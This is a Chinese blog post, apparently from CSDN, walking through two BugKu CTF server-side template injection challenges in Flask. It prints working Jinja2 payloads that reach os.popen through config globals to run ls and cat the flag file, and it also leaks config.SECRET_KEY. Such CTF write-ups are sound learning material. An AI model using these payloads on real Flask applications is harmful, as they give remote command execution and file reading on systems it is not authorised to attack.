BugKu_web Simple_SSTI

本文详细介绍了两种Simple SSTI(Simple Server-Side Template Injection)情况,涉及利用F12查看页面源码,通过payload发现secret_key,并进行文件读取和命令执行。在Simple_SSTI_2中,作者展示了如何利用python3.7的Flask模板注入,执行ls命令发现文件夹,最终读取app/flag文件获取flag。
摘要由CSDN通过智能技术生成

BugKu_web Simple_SSTI

Simple_SSTI_1

打开页面如图示,根据提示要找到一个flag的参数

image-20210719163741298

先尝试构造payload,发现页面有所变化

image-20210719172421311

再用F12大法瞅瞅,发现有一行提示,在flask中经常设置一个secret_key变量

image-20210719171558702

查询后知道secret_key格式是config.SECRET_KEY,拿到flag!

image-20210719173132507

Simple_SSTI_2

打开页面和1一样,说明是模板注入,而且构造的payload也被执行了

image-20210719174645949

上传错误语句发现是python3.7的flask模板注入

image-20210719175001425

在网上搜集相关资料,找到了一些payload

文件读写:

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27输入命令%20../文件名称/%27).read()%20}}

命令执行:

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27输入命令%20../%27).read()%20}}

先执行ls查看命令,发现有好多文件夹

image-20210719205752888

接下来就尝试查看app文件夹内容

image-20210719205946186

然后查看app文件夹里的flag文件,拿到flag!

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

image-20210719210342886

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值